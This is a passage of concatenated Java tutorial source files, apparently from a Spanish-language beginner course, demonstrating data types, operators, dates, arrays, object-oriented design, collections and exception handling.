this.errores.add(String.format(valid.getMensaje(), this.nombre)); } } } return this.errores.isEmpty(); } abstract public String dibujarHtml(); } <file_sep>package com._13_POO._07_ClasesAbstractas.Elementos; public class InputForm extends ElementoForm { private String tipo = "text"; public InputForm(String nombre) { super(nombre); } public InputForm(String nombre, String tipo) { super(nombre); this.tipo = tipo; } public String getTipo() { return tipo; } public void setTipo(String tipo) { this.tipo = tipo; } @Override public String dibujarHtml() { return "<input type='" + this.tipo + "' name='" + super.nombre + "' value='" + super.valor + "'>"; } } <file_sep>package com._02_Variables._04_TipoDatoString; public class Main { public static void main(String[] args) { _01_Explicacion.Explicacion(); _02_Inmutabilidad.Inmutabilidad(); _03_Test.Rendimiento(); _04_Metodos.StringMethods(); _05_MetodosArrays.StringMethodsArray(); _06_EjercicioExtension.ExtencionArchivo(); } } <file_sep>package com._04_Operadores; public class _05_Decremento { public static void OperadoresDecrementales() { System.out.println("\n========== OPERADOR PRE-DECREMENTO =========="); int i = 3; int j = --i; System.out.println("i = " + i); System.out.println("j = " + j); System.out.println("\n========== OPERADOR POST-DECREMENTO =========="); int k = 3; int f = k--; System.out.println("k = " + k); System.out.println("f = " + f); System.out.println("\n========== EJEMPLO COMBINADO PRE Y POST DECREMENTO =========="); int d = 10; System.out.println("d = " + d); System.out.println("PRE-DECREMENTO (--d) = " + (--d)); System.out.println("d = " + d); System.out.println("POST-DECREMENTO (d--) = " + (d--)); System.out.println("d = " + d); } } <file_sep>package com._06_JavaUtil; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; public class _03_FechaPasadaFutura { public static void fechaCalendar() { System.out.println("\n========== CLASE CALENDAR, FECHA PASADA, ACTUAL, FUTURA =========="); /** Detras De Escena Crea Un Calendario Dependiendo De La Zona */ Calendar calendario = Calendar.getInstance(); /** Es Lo Mismo Que La Fecha Con La Clase Date */ Date fechaActual = calendario.getTime(); System.out.println("fechaActual = " + fechaActual); /** El Mes De Enero En Calendar Siempre Inicia Desde Cero(0) */ calendario.set(2020, 0, 25); Date fechaPersonalizadaUno = calendario.getTime(); System.out.println("fechaPersonalizadaUno = " + fechaPersonalizadaUno); calendario.set(1993, 3, 28, 22, 20, 10); Date fechaPersonalizadaDos = calendario.getTime(); System.out.println("fechaPersonalizadaDos = " + fechaPersonalizadaDos); calendario.set(2025, Calendar.SEPTEMBER, 28, 22, 20, 10); Date fechaPersonalizadaTres = calendario.getTime(); System.out.println("fechaPersonalizadaTres = " + fechaPersonalizadaTres); /** Ingresar Una Fecha Parte Por Parte O Fragmentada */ calendario.set(Calendar.YEAR, 1970); calendario.set(Calendar.MONTH, Calendar.JULY); calendario.set(Calendar.DAY_OF_MONTH, 1); calendario.set(Calendar.HOUR_OF_DAY, 21); calendario.set(Calendar.MINUTE, 44); calendario.set(Calendar.SECOND, 8); calendario.set(Calendar.MILLISECOND, 125); Date fechaPersonalizadaCuatro = calendario.getTime(); System.out.println("fechaPersonalizadaCuatro = " + fechaPersonalizadaCuatro); calendario.set(Calendar.YEAR, 1990); calendario.set(Calendar.MONTH, Calendar.OCTOBER); calendario.set(Calendar.DAY_OF_MONTH, 23); calendario.set(Calendar.HOUR, 7); calendario.set(Calendar.AM_PM, Calendar.PM); calendario.set(Calendar.MINUTE, 44); calendario.set(Calendar.SECOND, 8); calendario.set(Calendar.MILLISECOND, 10); Date fechaPersonalizadaQuinto = calendario.getTime(); System.out.println("fechaPersonalizadaQuinto = " + fechaPersonalizadaQuinto); /** Aqui Le Doy Formato A La Fecha, Anteriormente Definida O Personalizada Con Calendar */ SimpleDateFormat formato1 = new SimpleDateFormat("yyyy-MM-dd"); SimpleDateFormat formato2 = new SimpleDateFormat("yyyy/MMM/dd"); SimpleDateFormat formato3 = new SimpleDateFormat("yyyy, MMM, dd"); SimpleDateFormat formato4 = new SimpleDateFormat("yyyy-MMMM-dd HH:mm:ss"); SimpleDateFormat formato5 = new SimpleDateFormat("yyyy-MMMM-dd hh:mm:ss"); SimpleDateFormat formato6 = new SimpleDateFormat("yyyy-MMMM-dd HH:mm:ss:SSS"); SimpleDateFormat formato7 = new SimpleDateFormat("yyyy-MMMM-dd HH:mm:ss:SSS"); SimpleDateFormat formato8 = new SimpleDateFormat("yyyy-MMMM-dd HH:mm:ss:SSS a"); System.out.println("formato1.format(fechaPersonalizadaUno) = " + formato1.format(fechaPersonalizadaUno)); System.out.println("formato2.format(fechaPersonalizadaDos) = " + formato2.format(fechaPersonalizadaDos)); System.out.println("formato3.format(fechaPersonalizadaTres) = " + formato3.format(fechaPersonalizadaTres)); System.out.println("formato4.format(fechaPersonalizadaCuatro) = " + formato4.format(fechaPersonalizadaCuatro)); System.out.println("formato5.format(fechaPersonalizadaCuatro) = " + formato5.format(fechaPersonalizadaCuatro)); System.out.println("formato6.format(fechaActual) = " + formato6.format(fechaActual)); System.out.println("formato7.format(fechaPersonalizadaQuinto) = " + formato7.format(fechaPersonalizadaQuinto)); System.out.println("formato8.format(fechaPersonalizadaQuinto) = " + formato8.format(fechaPersonalizadaQuinto)); /** Espacio Para Comparar Fechas */ Calendar calendario2 = Calendar.getInstance(); Calendar calendario3 = Calendar.getInstance(); calendario2.set(2020, 12, 18, 15, 33, 20); calendario3.set(2020, 12, 18, 15, 33, 20); /** Primera Forma De Comparar FECHAS */ System.out.println(); if (calendario2.after(calendario3)) { System.out.println("Fecha Del Usuario Es Mayor Que La Fecha Actual"); } else if (calendario2.before(calendario3)) { System.out.println("Fecha Del Usuario Es Menor Que La Fecha Actual"); } else if (calendario2.equals(calendario3)) { System.out.println("Las Fechas Son Iguales"); } /** Segunda Forma De Comparar FECHAS */ if (calendario2.compareTo(calendario3) > 0) { System.out.println("Fecha Del Usuario Es Mayor Que La Fecha Actual"); } else if (calendario2.compareTo(calendario3) < 0) { System.out.println("Fecha Del Usuario Es Menor Que La Fecha Actual"); } else if (calendario2.compareTo(calendario3) == 0) { System.out.println("Las Fechas Son Iguales"); } } } <file_sep>package com._04_Operadores; public class _12_InstanceOfGeneral { public static void tiposGlobales() { Object texto = "Creando Un Objeto De La Object De Tipo String"; Number numeroEntero = 2345; Object numeroDecimal = 23.45F; boolean b1 = texto instanceof String; boolean b2 = texto instanceof Integer; boolean b3 = numeroEntero instanceof Integer; boolean b4 = numeroDecimal instanceof Float; System.out.println("\n========== OPERADOR INSTANCEOF GLOBAL =========="); System.out.println("¿Texto Es Del Tipo Object Con Un Valor String? = " + b1); System.out.println("¿Texto Es Del Tipo Object Con Un Valor String? = " + b2); System.out.println("¿Numero Entero Es Del Tipo Object Con Un Valor Númerico? = " + b3); System.out.println("¿Numero Decimal(Float) Es Del Tipo Object Con Un Valor Númerico? = " + b4); } } <file_sep>package com._13_POO._02_AutomovilEjercicio; import com._13_POO._01_AutomovilExplicacion.Color; import com._13_POO._01_AutomovilExplicacion.TipoAutomovil; import java.util.Arrays; public class MainAutomovilArreglo { public static void main(String[] args) { Persona conductorSubaru = new Persona("Luci", "Acevedo"); Automovil subaru = new Automovil("Subaru", "Impreza", Color.AZUL); Motor motorSubaru = new Motor(2.0, TipoMotor.BENCINA); Estanque estanqueSubaru = new Estanque(); subaru.setConductor(conductorSubaru); subaru.setMotor(motorSubaru); subaru.setEstanque(estanqueSubaru); subaru.setTipo(TipoAutomovil.CONVERTIBLE); Persona conductorMazda = new Persona("Pato", "Rodriguez"); Automovil mazda = new Automovil("Mazda", "BT-50", Color.ROJO); Motor motorMazda = new Motor(3.0, TipoMotor.DIESEL); Estanque estanqueMazda = new Estanque(); mazda.setConductor(conductorMazda); mazda.setMotor(motorMazda); mazda.setEstanque(estanqueMazda); mazda.setTipo(TipoAutomovil.COUPE); Automovil[] autos = new Automovil[2]; autos[0] = subaru; autos[1] = mazda; /** Ordena Los Objetos Gracias A La Interface CompareTo De Automovil */ Arrays.sort(autos); for (int i = 0; i < autos.length; i++) { System.out.println(autos[i].toString()); } } } <file_sep>config.puerto.servidor=8090 otra=algun valor config.texto.ambiente=Configurando ambiente de desarrollo config.autor.nombre=<NAME> config.autor.email=<EMAIL><file_sep>package com._13_POO._07_ClasesAbstractas; import com._13_POO._07_ClasesAbstractas.Elementos.ElementoForm; import com._13_POO._07_ClasesAbstractas.Elementos.InputForm; import com._13_POO._07_ClasesAbstractas.Elementos.Select.Opcion; import com._13_POO._07_ClasesAbstractas.Elementos.SelectForm; import com._13_POO._07_ClasesAbstractas.Elementos.TextAreaForm; import java.util.Arrays; import java.util.List; public class Main { public static void main(String[] args) { InputForm username = new InputForm("username"); InputForm password = new InputForm("clave", "<PASSWORD>"); InputForm email = new InputForm("email", "email"); InputForm edad = new InputForm("edad", "number"); TextAreaForm experiencia = new TextAreaForm("exp", 5, 9); SelectForm lenguaje = new SelectForm("lenguaje"); Opcion java = new Opcion("1", "Java"); lenguaje.addOpcion(java) .addOpcion(new Opcion("2", "Python")) .addOpcion(new Opcion("3", "JavaScript")) .addOpcion(new Opcion("4", "TypeScript")) .addOpcion(new Opcion("5", "PHP")); username.setValor("John.doe"); password.setValor("<PASSWORD>"); email.setValor("<EMAIL>"); edad.setValor("28"); experiencia.setValor("... Más De 10 Años De Experiencia ..."); java.setSelected(true); /* List<ElementoForm> elementos = new ArrayList<>(); elementos.add(username); elementos.add(password); elementos.add(email); elementos.add(edad); elementos.add(experiencia); elementos.add(lenguaje); */ /** Forma Más Optimizada Del ArrayList() */ List<ElementoForm> elementos = Arrays.asList(username, <PASSWORD>, email, edad, experiencia, lenguaje); /** for (ElementoForm elemento: elementos) { System.out.println(elemento.dibujarHtml()); } */ /** Api De Stream De Java 8 (Funciones De Flecha) */ elementos.forEach(elemento -> { System.out.println(elemento.dibujarHtml()); System.out.println("<br />"); }); } } <file_sep>package com._02_Variables._01_TiposPrimitivos._04_Boolean; public class _08_boolean { public static void ValoresBoolean() { boolean valorBooleanTrue = true; boolean valorNumericoBooleanTrue = 12 < 15; boolean valorBooleanFalse = false; boolean valorNumericoBooleanFalse = 12 > 15; System.out.println("\n========= TIPO DE DATO PRIMITIVO \"boolean\" ========="); System.out.println("Variable valorBooleanTrue = " + valorBooleanTrue); System.out.println("Variable valorNumericoBooleanTrue = " + valorNumericoBooleanTrue); System.out.println("Variable valorBooleanFalse = " + valorBooleanFalse); System.out.println("Variable valorNumericoBooleanFalse = " + valorNumericoBooleanFalse); } } <file_sep>package com._05_EstructurasAlgoritmicas._04_Switch; public class _01_SwitchCase { public static void sentenciaSwitchCase() { Character numeroCaracter = '2'; switch (numeroCaracter) { case '0': System.out.println("El Número Es Cero."); break; case '1': System.out.println("El Número Es Uno"); break; case '2': System.out.println("El Número Es Dos"); break; case '3': System.out.println("El Nùmero Es Tres"); break; default: System.out.println("El Valor Ingresado No Es Vàlido"); break; } } } <file_sep>package com._15_Exceptions; import javax.swing.*; public class _01_ExcepcionesUnchecked { public static void excepcionesNoComprobadas() { String valor = JOptionPane.showInputDialog("Ingrese Un Número Entero: "); try { int divisor = Integer.parseInt(valor); int division = 10 / divisor; System.out.println("division = " + division); } catch (NumberFormatException e) { System.out.println("Capturamos El Error En Tiempo De Ejecución Por Un Valor NO Númerico." + e.getMessage()); } catch (ArithmeticException e) { System.out.println("Capturamos El Error En Tiempo De Ejecución Por Un Valor Cero." + e.getMessage()); } finally { System.out.println("Es Opcional, Pero Se Ejecuta Siempre Con Excepción o Sin Ella!"); } System.out.println("Continuamos Con El Flujo De La Aplicación Y Está" + " Puede Seguir Ejecutando Las Tareas Definidas."); } } <file_sep>package com._10_Arreglos; public class _01_Explicacion { public static void CreateArrays() { int[] numbers = new int[4]; numbers[0] = 134; numbers[1] = Integer.valueOf("2"); numbers[2] = 34; numbers[3] = 10; int i = numbers[0]; int j = numbers[1]; int k = numbers[2]; //int l = numbers[3]; int l = numbers[numbers.length - 1]; System.out.println("========== EXPLICACIÒN ARREGLOS =========="); System.out.println("i = " + i); System.out.println("j = " + j); System.out.println("k = " + k); System.out.println("l = " + l); } } <file_sep>package com._10_Arreglos; public class Main { public static void main(String[] args) { _01_Explicacion.CreateArrays(); _02_Ordenar.ordenarArreglo(); _03_IterandoFor.recorriendoArreglosFor(); _04_IterandoForEach.recorriendoArreglosForEach(); _05_IterandoWhile.recorriendoArreglosWhile(); _06_IterandoDoWhile.recorriendoArreglosDoWhile(); _07_IterandoOrdenInverso.ordenInverso(); _08_ModificandoOrdenReverso.modificandoArreglo(); } } <file_sep>package com._02_Variables._05_TiposReferenciaObjeto; public class Main { public static void main(String[] args) { _01_WrapperByte.objetoByte(); _02_WrapperShort.objetoShort(); _03_WrapperInteger.objetoInteger(); _04_WrapperLong.objetoLong(); _05_WrapperFloat.objetoFloat(); _06_WrapperDouble.objetoDouble(); _07_WrapperRelacionales.comparandoObjetos(); _08_WrapperBoolean.comparandoObjetos(); _09_WrapperGetClass.MethodGetClass(); } } <file_sep>package com._05_ParametrosArgumentos; public class _01_PorValor { public static void parametrosValor() { int i = 10; System.out.println("========== PASANDO ARGUMENTOS A LOS PARAMETROS DEFINIDOS ANTERIORMENTE POR VALOR =========="); System.out.println("Iniciando El Método Main Con i = " + i); test(i); System.out.println("Finaliza El Mètodo Main Con El Mismo Valor De i = " + i); } public static void test(int numeroI) { System.out.println("Iniciando El Mètodo test Con i = " + numeroI); numeroI = 35; test2(numeroI); System.out.println("Finaliza El Mètodo test Con El Nuevo Valor De i = " + numeroI); } public static void test2(Integer numeroI) { System.out.println("Iniciando El Mètodo test2 Con i = " + numeroI); numeroI = 35; System.out.println("Finaliza El Mètodo test2 Con El Nuevo Valor De i = " + numeroI); } } <file_sep>package com._02_Variables._01_TiposPrimitivos._01_Enteros; public class _01_byte { public static void ValoresByte() { byte valorNumeroByte = 54; /* Cuando Se Exceda El Valor O La Capacidad Máxima Del Tipo De Dato Definido Tendremos El Siguiente Error: */ /* incompatible types: possible lossy conversion from int to byte */ /* byte excederByte = 129; */ /* Casteo O Conversión De Tipos */ /* El 129 Es De Tipo Entero Y Lo Que Hacemos Es Castearlo O Convertirlo A Un Tipo Byte */ /* El Resultado Que Obtendremos Es Que No Se Esta Almacenando El 129 Como Lo Habiamos Indicado, * Por Que El Compilador Nos Dice Que Si Estamos Seguros De Lo Que Estamos Haciendo, Ya Que Si * Queremos Almacenar Un Valor Que Supera El Rango Del Tipo De Dato Del Indicador, Estamos Expuestos * A Tener Resultados Con Imprecisiones, Así, Sea Casteado O Convertido */ byte excederByte = (byte) 129; System.out.println("\n========= TIPO DE DATO PRIMITIVO \"byte\" ========="); System.out.println("Tipo byte Corresponde En Bits A: " + Byte.SIZE); System.out.println("Tipo byte Corresponde En Bytes A: " + Byte.BYTES); System.out.println("Nùmero Minimo Aceptado: " + Byte.MIN_VALUE); System.out.println("Nùmero Maximo Aceptado: " + Byte.MAX_VALUE); System.out.println("Variable valorNumeroByte = " + valorNumeroByte); System.out.println("El Valor Es Muy Grande Para Lo Que Soporta El Tipo BYTE excederByte = " + excederByte + " Obtenemos Valores Con Imprecisiones Por Que Perdemos Bits"); } } <file_sep>package com._04_Operadores; public class _02_Asignacion { public static void OperadoresAsignacion() { int i = 5; System.out.println("\n========== OPERADORES DE ASIGNACIÒN =========="); System.out.println("i = " + i); var isTrue = i == 5; System.out.println("i == 5 " + isTrue); i += 4; System.out.println("i += " + i); i -= 2; System.out.println("i -= " + i); i *= 3; System.out.println("i *= " + i); i /= 4; System.out.println("i /= " + i); i %= 2; System.out.println("i %= " + i); String sqlString = "SELECT * FROM clietes AS c"; sqlString += " WHERE c.nombre = 'Daniel'"; sqlString += " AND c.activo = 1"; System.out.println("sqlString += " + sqlString); } } <file_sep>package com._05_ParametrosArgumentos; import javax.swing.text.EditorKit; public class _02_PorReferencia { public static void parametrosReferencia() { int[] edad = {10, 11, 12}; System.out.println("\n========== PASANDO ARGUMENTOS A LOS PARAMETROS DEFINIDOS ANTERIORMENTE POR REFERENCIA =========="); System.out.println("Iniciamos El Método Main"); for (int i = 0; i < edad.length ; i++) { System.out.println("edad = " + edad[i]); } System.out.println("Antes De LLamar El Mètodo Test"); test(edad); System.out.println("Después De LLamar El Método Test"); for (int i = 0; i < edad.length ; i++) { System.out.println("edad = " + edad[i]); } System.out.println("Finaliza El Mètodo Main Con Los Datos Del Arreglo Modificados"); } public static void test(int[] edadArray) { System.out.println("\nIniciamos El Método Test"); for (int i = 0; i < edadArray.length ; i++) { edadArray[i] += 20; } } } <file_sep>package com._16_CollectionAPI._03_Map.HashMap; import java.util.HashMap; import java.util.Map; public class MapAnidados { public static void ejemploMapsAnidados() { System.out.println("\n========== RELACIONES DE OBJETOS MAP<kEY, VALUE> =========="); System.out.println("Las Relaciones De Objetos Es Similar A Cuando Un Atributo De Una Clase Puede Ser Del Tipo De Dato De Otra Clase"); System.out.println("Un HashMap Puede Ser Del Tipo De Dato De Otra Clase, Pero También Puede Ser Del Tipo De Dato De Otro HashMap\n"); Map<String, Object> persona = new HashMap<>(); persona.put("edad", "30"); persona.put(null, "12345"); persona.put("nombre", "Daniel"); persona.put("apellido", "yepez"); persona.put("apellidoPaterno", "yepez"); persona.put("email", "<EMAIL>"); Map<String, String> direccion = new HashMap<>(); direccion.put("calle", "78"); direccion.put("numero", "122"); direccion.put("pais", "Colombia"); direccion.put("ciudad", "Medellin"); direccion.put("departamento", "Antioquia"); /** RELACIONAR LOS MAPS */ persona.put("direccion", direccion); System.out.println("persona = " + persona); /** OBTENER UN MAP QUE ESTA DENTRO DE OTRO MAP */ Map<String, String> direccionPersona = (Map<String, String>) persona.get("direccion"); String pais = direccionPersona.get("pais"); String ciudad = direccionPersona.get("ciudad"); String departamento = direccionPersona.get("departamento"); String barrio = direccionPersona.getOrDefault("barrio", "Por Defecto"); System.out.println("El Pais Es = " + pais); System.out.println("El Departamento Es = " + departamento); System.out.println("La Ciudad Es = " + ciudad); System.out.println("El Barrio Es = " + barrio); } } <file_sep>package com._04_Operadores; import java.util.Scanner; public class _08_EjercicioLogicosLogin { public static void Login() { Scanner teclado = new Scanner(System.in); String username = "<NAME>"; String password = "<PASSWORD>"; String[] users = new String[3]; String[] pass = new String[3]; boolean isAuthenticate = false; for (int i = 0; (i < users.length && i < pass.length); i++) { System.out.println("Ingrese El Username Del Usuario #" + (i+1) + ":"); users[i] = teclado.nextLine(); System.out.println("Ingrese El Password Del Usuario #" + (i+1) + ":"); pass[i] = teclado.nextLine(); } System.out.println(); for (int i = 0; (i < users.length && i < pass.length); i++) { if (users[i].equalsIgnoreCase(username) && pass[i].equalsIgnoreCase(password)) { isAuthenticate = true; } else { System.out.println("Username O Contraseña Incorrecto Del Usuario #" + (i+1) + " " + users[i]); } if(isAuthenticate) { System.out.println("Bienvenido Usuario ".concat(users[i]).concat("!")); isAuthenticate = false; } } } } <file_sep>package com._13_POO._09_CrudDAO; import com._13_POO._09_CrudDAO.Repositorio.*; import com._13_POO._09_CrudDAO.modelo.Cliente; import java.util.List; public class Main { public static void main(String[] args) { IAllInterfaces repositorio = new ClienteList(); repositorio.crear(new Cliente("Daniel", "Yepez")); repositorio.crear(new Cliente("Fernando", "Vèlez")); repositorio.crear(new Cliente("Luci", "Martinez")); repositorio.crear(new Cliente("Andres", "Gùzman")); System.out.println("===== CREAR CLIENTES ====="); List<Cliente> clientes = repositorio.listar(); //clientes.forEach(c -> System.out.println(c)); clientes.forEach(System.out::println); System.out.println("\n===== PAGINACIÒN DE CLIENTES ====="); List<Cliente> paginable = repositorio.listar(1,3); paginable.forEach(System.out::println); System.out.println("\n===== ORDENAR CLIENTES ASC ====="); List<Cliente> clientesOrdenAsc = repositorio.listar("nombre", Direccion.ASC); List<Cliente> clientesOrdenDesc = ((IOrdenable) repositorio).listar("nombre", Direccion.DESC); for (Cliente cli: clientesOrdenAsc) { System.out.println(cli); } System.out.println("\n===== ORDENAR CLIENTES DESC ====="); for (Cliente cli: clientesOrdenDesc) { System.out.println(cli); } System.out.println("\n===== ACTUALIZAR CLIENTE ====="); Cliente updateClient = new Cliente("<NAME>", "<NAME>"); updateClient.setId(2); repositorio.editar(updateClient); System.out.println(updateClient); System.out.println("-----------------"); repositorio.listar("nombre", Direccion.ASC).forEach(System.out::println); System.out.println("\n===== ELIMINAR CLIENTE ====="); repositorio.eliminar(2); repositorio.listar().forEach(System.out::println); System.out.println("-----------"); System.out.println("Total Registros: " + repositorio.total()); } } <file_sep>package com._16_CollectionAPI._01_Set.HashSet; import java.util.HashSet; import java.util.Set; public class Agregar { public static void EjemploHashSetAgregar() { Set<String> hs = new HashSet<>(); System.out.println(hs.add("uno")); System.out.println(hs.add("dos")); System.out.println(hs.add("tres")); System.out.println(hs.add("cuatro")); System.out.println(hs.add("cinco")); System.out.println(hs); boolean b = hs.add("tres"); System.out.println("Permite Elementos Duplicados: " + b); System.out.println(hs); } } <file_sep>package com._07_ClaseSystem; import java.io.FileInputStream; import java.util.Properties; public class _02_AsignarPropiedadesDeSistema { public static void asignarPropiedades() { System.out.println("\n======== ASIGNANDO EL ARCHIVO DE PROPIEDADES ========="); try { FileInputStream archivo = new FileInputStream("src/com/_07_ClaseSystem/_03_config.properties"); Properties p = new Properties(System.getProperties()); /** Definido Una Sola Propiedad */ p.setProperty("mi.propiedad.personalizada","Mi Valor Guardado En La Propiedad Personalizada"); /** Paso El Archivo De La Propiedades */ p.load(archivo); System.setProperties(p); /** Forma Uno */ // System.getProperties().list(System.out); /** Forma Dos */ Properties ps = System.getProperties(); ps.list(System.out); } catch (Exception e) { System.out.println("No Existe El Archivo: " + e); } } } <file_sep>package com._13_POO._03_Paquetes.hogar; import com._13_POO._03_Paquetes.jardin.Perro; /** Imports Staticos */ import static com._13_POO._03_Paquetes.hogar.Persona.saludar; public class Main { public static void main(String[] args) { Persona persona = new Persona(); String saludo = saludar(); System.out.println("saludo = " + saludo); Perro perro = new Perro(); } } <file_sep>package com._13_POO._03_Paquetes.jardin; import com._13_POO._03_Paquetes.hogar.*; //import com._04_POO._03_Paquetes.hogar.Gato; //import com._04_POO._03_Paquetes.hogar.Persona; /** Imports Staticos Asi No Tengo Que Poner El Nombre De La Clase */ import static com._13_POO._03_Paquetes.hogar.Persona.*; //import static com._04_POO._03_Paquetes.hogar.Persona.saludar; //import static com._04_POO._03_Paquetes.hogar.Persona.GENERO_FEMENINO; //import static com._04_POO._03_Paquetes.hogar.Persona.GENERO_MASCULINO; /** Imports Staticos De Un Enum Asi No Tengo Que Poner El Nombre Del Mismo */ import static com._13_POO._03_Paquetes.hogar.ColorPelo.*; //import static com._04_POO._03_Paquetes.hogar.ColorPelo.NEGRO; //import static com._04_POO._03_Paquetes.hogar.ColorPelo.CAFE; //import static com._04_POO._03_Paquetes.hogar.ColorPelo.RUBIO; public class Main { public static void main(String[] args) { /** FORMA #1 DE IMPORTAR UNA CLASE DE OTRO PAQUETE */ //com._04_POO._03_Paquetes.Hogar.Persona persona = new com._04_POO._03_Paquetes.Hogar.Persona(); /** FORMA #2 DE IMPORTAR UNA CLASE DE OTRO PAQUETE */ Persona persona = new Persona(); persona.setNombre("<NAME>"); persona.setApellido("<NAME>"); //persona.setColorPelo(ColorPelo.NEGRO); persona.setColorPelo(NEGRO); String saludando = saludar(); String generoMujer = GENERO_FEMENINO; String generoMasculino = GENERO_MASCULINO; System.out.println("saludando Estatico = " + saludando); System.out.println("generoMujer = " + generoMujer); System.out.println("generoMasculino = " + generoMasculino); System.out.println("persona.getColorPelo() = " + persona.getColorPelo()); System.out.println("persona.getNombre() + persona.getApellido() = " + persona.getNombre() + " " + persona.getApellido()); Perro perro = new Perro(); perro.nombre = "Tobby"; perro.raza = "Pomeran"; String jugando = perro.jugar(persona); System.out.println("jugando = " + jugando); } } <file_sep>package com._06_JavaUtil; public class Main { public static void main(String[] args) { _01_Date.classDate(); _02_GetTimeMilisegundos.getTime(); _03_FechaPasadaFutura.fechaCalendar(); _04_StringDateParse.StringAdate(); _05_CompararFechas.dateCompare(); _06_ClaseScanner.scanner(); } } <file_sep>package com._05_EstructurasAlgoritmicas._08_DoWhile; public class _01_SentenciaDoWhile { public static void iterandorDoWhile() { int i = 0; boolean test = false; System.out.println("========== ITERADOR DO WHILE PRUEBA =========="); do { if (i == 7) { test = false; } System.out.println("Se Ejecuta Como Minímo Una Sola Vez"); System.out.println(i); } while (test); boolean test2 = true; System.out.println("\n========== ITERADOR DO WHILE =========="); do { if (i == 7) { test2 = false; } System.out.println(i); i++; } while (test2); } } <file_sep>package com._16_CollectionAPI._01_Set.TreeSet; import java.util.Comparator; import java.util.Set; import java.util.TreeSet; public class Agregar { public static void EjemploTreeSet() { System.out.println("========== ORDENADOS DE FORMA NATURAL =========="); Set<String> ts = new TreeSet<>((a, b) -> b.compareTo(a)); ts.add("uno"); ts.add("dos"); ts.add("tres"); ts.add("tres"); ts.add("cuatro"); ts.add("cinco"); System.out.println("TreeSet String: " + ts); Set<Integer> numeros = new TreeSet<>(Comparator.reverseOrder()); numeros.add(1); numeros.add(5); numeros.add(3); numeros.add(4); numeros.add(2); numeros.add(6); numeros.add(10); System.out.println("TreeSet Números: " + numeros); } } <file_sep>package com._05_EstructurasAlgoritmicas._01_If; public class Main { public static void main(String[] args) { _01_CondicionSimple.ifSimple(); } } <file_sep>package com._05_EstructurasAlgoritmicas._09_EtiquetasCiclos; public class _02_EjercicioBuscar { public static void iteradoresCombinados() { char letra = 'g'; int cantidad = 0; String palabra = "Trigo"; String frase = "Trigo Trigo Tres Tristes Tigres Tragan Trigo En Un TrigalTrigo"; int countPalabra = palabra.length(); int count = frase.length() - countPalabra + 1; System.out.println("\n========== EJERCICIO BUSCAR FRASE =========="); buscar: for (int i = 0; i < count; i++) { int k = i; for (int j = 0; j < countPalabra; j++) { if (frase.charAt(k++) != palabra.charAt(j)) { continue buscar; } } cantidad++; } System.out.println("Encontrado = " + cantidad + " Veces La Palabra " + "\'" + palabra + "\'" + " En La Frase"); } } <file_sep>package com._04_Operadores; import java.util.Scanner; public class _10_EjercicioMayorTernario { public static void numeroMayor() { Scanner teclado = new Scanner(System.in); int max = 0; System.out.println("Ingrese Un Valor Númerico: "); int num1 = teclado.nextInt(); System.out.println("Ingrese Un Segundo Valor Númerico: "); int num2 = teclado.nextInt(); System.out.println("Ingrese Un Tercer Valor Númerico: "); int num3 = teclado.nextInt(); System.out.println("Ingrese Un Cuarto Valor Númerico: "); int num4 = teclado.nextInt(); /** Lògica Nùmero Mayor */ max = (num1 > num2) ? num1 : num2; max = (max > num3) ? max : num3; max = (max > num4) ? max : num4; System.out.println("num1 = " + num1); System.out.println("num2 = " + num2); System.out.println("num3 = " + num3); System.out.println("num4 = " + num4); System.out.println("El Nùmero Mayor Es max = " + max); } } <file_sep>package com._13_POO._09_CrudDAO.Repositorio; public interface IAllInterfaces extends ICrud, IOrdenable, IPaginable, IContable { } <file_sep>package com._02_Variables._02_SistemasNumericos; public class _01_SistemaDecimal { public static void SistemaDecimal() { int numeroDecimal1 = 500; int numeroDecimal2 = 302; System.out.println("=========== SISTEMA DECIMAL POR DEFECTO =========="); System.out.println("Numero Decimal De " + numeroDecimal1 + " = " + numeroDecimal1); System.out.println("Numero Decimal De " + numeroDecimal2 + " = " + numeroDecimal2); } } <file_sep>package com._13_POO._08_Interfaces.Imprenta; import com._13_POO._08_Interfaces.Modelo.*; public class Main { public static void main(String[] args) { Curriculo cv = new Curriculo(new Persona("<NAME>", "<NAME>"), "Desarrollador", "Resumen Laboral..."); cv.addExperiencia("Java") .addExperiencia("Angular") .addExperiencia("Oracle DBA") .addExperiencia("Spring Framework") .addExperiencia("Desarrollador FullStack"); Libro libro = new Libro(new Persona("Erich", "Gama"), "Patrones De Diseños: Elementos Reusables POO", Genero.PROGRAMACION); libro.addPagina(new Pagina("Patròn Singleton")) .addPagina(new Pagina("Patròn Observador")) .addPagina(new Pagina("Patròn Fabrica")) .addPagina(new Pagina("Patròn Compositor")); Informe info = new Informe(new Persona("Martin", "Fowler"), new Persona("James", "Gosling"), "Estudio Sobre MicroServicios"); Imprimible.imprimir(cv); Imprimible.imprimir(info); Imprimible.imprimir(libro); /** Ejemplo De Una Clase Anonima Que Implementa La Interface Imprimible */ Imprimible.imprimir(new Imprimible() { @Override public String imprimir() { return "Hola Que Tal!!! Imprimiendo Una Clase Genérico De Una Clase Anònima"; } }); System.out.println(Imprimible.TEXTO_DEFECTO); } /* public static void imprimir(Imprimible imprimible) { System.out.println(imprimible.imprimir()); } */ } <file_sep>package com._04_Operadores; public class _13_CaracteresEspeciales { public static void especiales() { String nombre = "<NAME>"; System.out.println("\n========== CARACTERES ESPECIALES =========="); System.out.println("Nueva Linea: \n" + nombre); System.out.println("Tabulador: \t" + nombre); System.out.println("Retroceso(Sin Espacios): \b\b" + nombre); System.out.println("Escapar Comilla Simple: \'" + nombre + "\'"); System.out.println("Escapar Comilla Doble: \"" + nombre + "\""); char espacio = '\u0020'; char retroceso = '\b'; System.out.println("\n========= CARACTERES ESPECIALES \"char\" ========="); System.out.println("Espacio => " + espacio); System.out.println("Retroceso => " + retroceso); System.out.println("Tabulaciòn => \t"); System.out.println("Salto De Linea => \n"); System.out.println("Retorno Al Inicio => \r"); } } <file_sep>package com._14_Generics.Clases; public class _03_Maquinaria { private String tipo; public _03_Maquinaria(String tipo) { this.tipo = tipo; } public String getTipo() { return tipo; } } <file_sep>package com._05_EstructurasAlgoritmicas._03_IfElseIf; public class Main { public static void main(String[] args) { _01_CondicionAnidada.ifAnidado(); _02_EjercicioDiasMes.numeroDiasMes(); } } <file_sep>package com._16_CollectionAPI._02_List.LinkedList; import com._16_CollectionAPI._02_List.modelo.Alumno; import java.util.Comparator; import java.util.LinkedList; import java.util.List; public class ComparableComparator { public static void ejemploLinkedList() { List<Alumno> sa = new LinkedList<>(); sa.add(new Alumno("Pato", 20)); sa.add(new 